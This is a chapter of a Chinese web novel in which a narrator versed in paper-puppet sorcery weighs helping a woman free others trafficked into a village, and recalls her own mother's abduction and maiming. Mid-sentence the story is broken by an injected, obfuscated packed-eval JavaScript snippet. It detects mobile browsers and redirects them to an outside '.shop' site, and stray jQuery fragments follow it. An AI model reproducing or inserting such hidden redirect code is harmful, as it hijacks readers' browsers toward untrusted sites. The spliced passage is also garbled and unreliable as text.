曾经有一个人问我信不信因果。


    我说我母亲一生行善，却落得那般下场，我不信。


    从母亲离世的那年起，我只信手里的剪刀。


    以及午夜梦回时，那位教我傀术的红衣娘娘。


    而朱阿绣的这番话，字字句句，砸在这间弥漫着草药苦味和尘灰气息的屋子里，也砸在我这些年用“不闻不问”筑起的高墙上。


    若是从前的我，那个心里不顾一切的我，或许会被她深切的痛楚与孤注一掷的勇气所打动。


    可母亲的死，早就成了我心里一个填不拢的窟窿。这些年，我把自己活成张兴村的一个影子，不插手，不站队，不沾染任何可能的因果。我天真地以为，把心缩进最坚硬的壳里，就能护住里头最后一点干净的角落，至少，对得起母亲那句用尽力气吐出的“好好活着”。


    然而，朱阿绣的肺腑之言，却精准地扎破了我这层自欺欺人的脸面。


    “阿绣，你想怎么做？”我终于还是问出了口。


    朱阿绣直起身，看着我。她没有立刻回答，而是走到窗边。破窗纸外，是张兴村灰白压抑的天，压着鳞次栉比的破败屋顶，压着沉默的、驯顺的、或同流合污的人。


    “村子里，像我妹妹这样，被他们困住一生的，还有不少。”她开口，声音压得低，“张柏舟死了，村长也死了，可买卖还在。磨盘换了驴拉，也会照样转。我想救她们，所有被‘嫁’进来，被‘捡’回来，被当成牲口一样使唤传宗的女人。”


    “你恐怕想得太简单。”我听见自己近乎冷漠的分析，像在说服她，更像在说服自己，“不是人人都像你，骨头里带着宁折不弯的硬气。有人挨打挨怕了，有人生了孩子牵绊住了，有人……心早就死了。就算真有人跟你跑，村子这么大，姓张的这么多，他们会善罢甘休？追到天涯海角，也能把你抓回来，到那时……”


    “我知道。”朱阿绣打断我，她转过身，背对着那灰白的天光，面容隐在阴影里，轮廓却异常清晰，“所以不能只想着跑。跑，是下策。逃出去，心里也永远留着一条被追的尾巴，成了一辈子的惊弓之鸟。”


    她往前走了一步，“得让他们怕。怕到骨子里，怕到不敢追，怕到不敢留，怕到往后一提张兴村这三个字，就哆嗦。怕到……再也没人敢做这门‘生意’。”


    屋里陡然静了一瞬。张信突然急咳，喉咙里带着拉风箱似的呼吸。


    朱阿绣走回炕边，动作熟练地扶起张信，用一块半旧的布巾，擦拭他嘴角不由自主流下的涎水。她的动作很轻，甚至称得上温柔，与方才话语里的她判若两人。


    “你看他。”她背对着我，声音没什么起伏，“信儿现在这样，活着跟死了有什么分别？可村里那些害他的人，那些拐卖我妹妹、糟蹋其他女人的人呢？他们吃得好，睡得好，白天聚在村口太阳底下，剔着牙花子说闲话，晚上守着热炕头，说不定还在算计下一笔‘买卖’。”


    她给张信掖好被角，转过身，脸上依旧没什么表情。


    “不公平。”她说。


    我看见了她眼底的东西。


    那不是愤怒，不是悲伤，而是一种更深、更重、近乎虚无的东西。像一个人在黑暗里走了太久，久到忘了光的模样和温度，于是索性停下脚步，把自己也化进这浓稠的黑暗里，成为了它的一部分。


    “你想怎么做？”我又问了一遍。


    朱阿绣没有直接回答，她走到那张掉漆的矮桌旁，拿起上面一块未完成的绣品。那是只鸟，羽毛绣得极精细，栩栩如生，可眼眶处却空着，没有点睛。


    “白小姐。”她指尖抚过那空茫的眼眶，忽然换了话题，“我信因果，种什么因，得什么果。张兴村这些人，祖祖辈辈，种了多少恶因？该到结果的时候了。”


    她抬起眼，“但因果不会自己从天上掉下来，我需要帮手。不是我一个人，也不是我们两个人。是她们，所有被拐来的，被打怕的，被逼疯的，被当成牲口养的女人。”


    “她们现在不敢，是因为没人带头，枪打出头鸟。她们现在认命，是以为这辈子就这样了，看不到半点亮光。”她顿了顿，语速放缓，“如果有人，给她们看到那点光呢？如果有人告诉她们，有条路，可以不用再挨打，不用再被当成畜生，可以让那些欺负她们的人，付出代价呢？”


    “万一……”我想起了以前的旧事，“万一事情不成，她们转头就把你卖了，换自己几天安生日子呢？这地方，最不缺的就是为了半碗饭就能咬死同伴的人。”


    朱阿绣静静看了我几秒，缓缓摇头：“我不是在‘用’她们，白小姐。我是在问她们，要不要一起‘救’自己。至于信谁……”她嘴角扯出一个极淡的弧度，“她们心里其实清楚，不该信的，是这个吃人的村子，是那些挥拳头的男人，是那些明明同为女人，却帮着捆她们手脚、骂她们不安分的‘婆婆’‘婶娘’。我只想告诉她们，你们可以不信命。”


    她忽然往前近了一小步，缩短了我们之间原本遥远的距离：“白小姐，我晓得你怕什么。你怕像当年，你想救你母亲，结果……反倒可能害了人。你把这错揽在自己身上，背了这么多年。我也怕，怕算错一步，满盘皆输，连累那些本来就在苦海里扑腾的人。所以，我不会瞒着她们，更不会逼着她们。路有多险，可能会死，我会掰开了揉碎了讲清楚，让她们自己做选择。”


    她抬起眼，眼神清澈得骇人。


    “我只求你一件事，不要阻止我。如果你不愿意帮忙，至少不要站在我的对立面。”


    屋里再次陷入沉默。药罐子发出“嗤”一声轻响，水熬干了，焦糊味弥漫开来。


    朱阿绣神色一动，快步过去，垫着破布端起滚烫的罐子，将里头黑褐浓稠如沥青的药汁倾倒进碗里。她端碗走到炕边，扶起张信，一勺一勺，耐心地喂。褐色的药汁从张信无法紧闭的嘴角溢出，她又用那布巾轻轻蘸去。


    阳光恰好从窗纸破洞里钻入，落在她执着药碗的手上。那双手很瘦，骨节分明，皮肤是久不见天日的苍白。可喂药的动作却很稳，稳得没有一丝颤抖。


    她很像那年的我，失去母亲，失去最重要的人的那年。我忽然明白了，她如今的坚韧全因为她的确没什么可再失去的了。正因为一无所有，所以才能如此决绝，如此……不顾一切。


    心底那个窟窿，又开始灌进了光，母亲的影子和朱阿绣的影子，在眼前交叠晃动。


    “给我点时间。”我听见自己说。


    朱阿绣喂药的手几不可察地顿了一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152369|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下。她没有回头，只是极轻地“嗯”了一声，算是应答。


    离开瓦房时，天色更沉了。巷子里空无一人，几条皮毛脏污的瘦狗蜷在墙根，对我的经过漠不关心。


    我走得很快，心里很乱。


    我该不该管？能不能管？


    母亲去世前的经历，如同走马灯一样，闪回在脑海里。我随我母亲，是被拐来的。那时年纪小，裹挟在母亲的命运里。当然，他们管这叫“缘分”，说法便改成了随母亲“改嫁”到了村子。他们便称，抹去“拐”字，就好听多了。


    那年，母亲带着我，是去投奔远方的表亲。路上遇到那个男人，姓张，看起来斯文老实，说话客气，对孤儿寡母的我们颇为照顾。母亲那时心神恍惚，失了警惕，竟真信了他所谓“同路照应”的说辞，一步步，被引进了张兴村这个魔窟。


    初来时，我们还有些随身细软，村里人见了，只当是“改嫁”的嫁妆，眼热之余，倒也无人深究来历。直到母亲拼死反抗，不肯就范，真相才慢慢撕开。那男人的娘，一个干瘦阴沉的老婆子，露出了獠牙。不止是她，还有当时健在的村长，几个族里有头有脸的老人，他们组成了无处不在的网和鞭子。


    母亲被折磨得不成样子，可在见到我时，总能竭力挤出一丝笑容。他们找到了能拿捏她的办法，便是我。他们明明白白地告诉她：如果你安分，你女儿就能少受罪；可你再闹，先拿你女儿开刀。


    母亲眼里的光，一点点灭了，变成了认命的灰烬。直到后来，不知他们从何处听来风声，说母亲的娘家似乎在暗地里寻人。他们慌了，怕鸡飞蛋打，怕引来祸端。于是，在一个雨夜，他们用捣衣的木槌，生生敲断了母亲的小腿骨。


    “看你还往哪儿跑！”那老婆子的咒骂，混着母亲的惨叫和屋外的暴雨，成了我少年时最恐怖的梦魇。


    就是从那时起，我扎进了恨意的泥潭里。外祖家祖传的手艺是剪纸，母亲尤其擅长，她手下的东西，总比别人的多几分鲜活动人，她说万物有灵，诚心以待，指尖也能通幽。


    她从小便教我，如何剪出不一样的手艺。这种手艺活儿，成了我们娘两活下去的寄托。


    某次偶然的机会，我外出拾柴，闯入了后山那座早已荒废的破庙。庙里供着一尊神像，面容模糊，似悲似喜，在昏暗光线下，观音的慈悲与邪神的妖异诡异地糅合在一起。绝望如潮水灭顶，我鬼使神差地跪在冰冷污秽的蒲团上，对着那似正似邪的神像磕头，祈求它开眼，救救母亲，救救我们，能毁掉这一切。


    后来，我便常常梦到那座庙。梦里，总有一个穿着鲜艳红衣的女子出现，她看不清面容，声音飘渺，自称“腩姆”。在梦中，她教我一种奇异的法门，以精血心意，附着于剪出的纸人上，可令其暂获“行动”，窥探、传递、甚至影响活物心神。她说，这叫傀术。


    我学得很快，近乎疯狂地攫取着这种超越常理的力量。当我剪出第一个能摇摇晃晃走动的纸人时，看着它蹒跚爬向继父的窗台，我心中充满了冰冷的希望。


    母亲的残躯，张兴村的污浊，揪住了我的心。我和朱阿绣一样，眼里看不见慈悲，只有以牙还牙、以血洗血的念头。


    那种同样的念头，在当年不着痕迹地滋生蔓延。